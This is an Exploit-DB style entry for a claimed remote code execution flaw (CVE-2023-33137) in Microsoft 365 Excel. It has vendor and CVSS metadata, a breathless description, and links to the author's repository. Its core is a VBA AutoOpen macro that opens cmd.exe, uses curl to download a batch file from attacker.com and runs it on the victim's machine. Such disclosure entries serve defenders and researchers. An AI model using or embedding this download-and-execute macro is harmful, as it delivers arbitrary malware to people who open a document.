Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit - Remote Code Execution (RCE)

vendor:

Microsoft 365 MSO

by:

nu11secur1ty

7.5

CVSS

HIGH

Remote Code Execution (RCE)

CWE

Product Name: Microsoft 365 MSO

Affected Version From: Version 2305 Build 16.0.16501.20074

Affected Version To:

Patch Exists: NO

Related CWE: CVE-2023-33137

CPE:

Metasploit: https://www.rapid7.com/db/vulnerabilities/msft-cve-2023-33137/, https://www.rapid7.com/db/vulnerabilities/microsoft-office-cve-2023-33137/

Other Scripts:

Platforms Tested:

2023

Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit – Remote Code Execution (RCE)

This exploit is connected with third part exploit server, which waits for the victim to call him and execute the content from him using the pipe posting method. When the victim hits the button in the Excel file, it makes a POST request to the exploit server, and the server creates another hidden malicious file and executes it directly on the victim's machine. This is a dangerous 0-day exploit.

Mitigation:

Unknown

Source

Exploit-DB raw data:

## Title:Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 32-bit - Remote Code Execution (RCE)
## Author: nu11secur1ty
## Date: 06.27.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/excel
## Reference: https://portswigger.net/daily-swig/rce
## CVE-2023-33137


## Description:
This exploit is connected with third part exploit server, which waits
for the victim to call him and execute the content from him using the
pipe posting method! This is absolutely a 0-day exploit! This is
absolutely dangerous for the victims, who are infected by him!
When the victim hit the button in the Excel file, it makes a POST
request to the exploit server, and the server is responding back that
way: He creates another hidden malicious file and executed it directly
on the machine of the victim, then everything is disappeared, so
nasty.

STATUS: HIGH Vulnerability WARNING: THIS IS VERY DANGER for the usual users!

[+]Exploit:
```vbs
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/nu11secur1ty/somwhere/ontheinternet/maloumnici.bat
> maloumnici.bat && .\maloumnici.bat", vbNormalFocus)
End Sub

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33137)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/06/microsoft-excel-microsoft-365-mso.html)

## Time spend:
01:27:00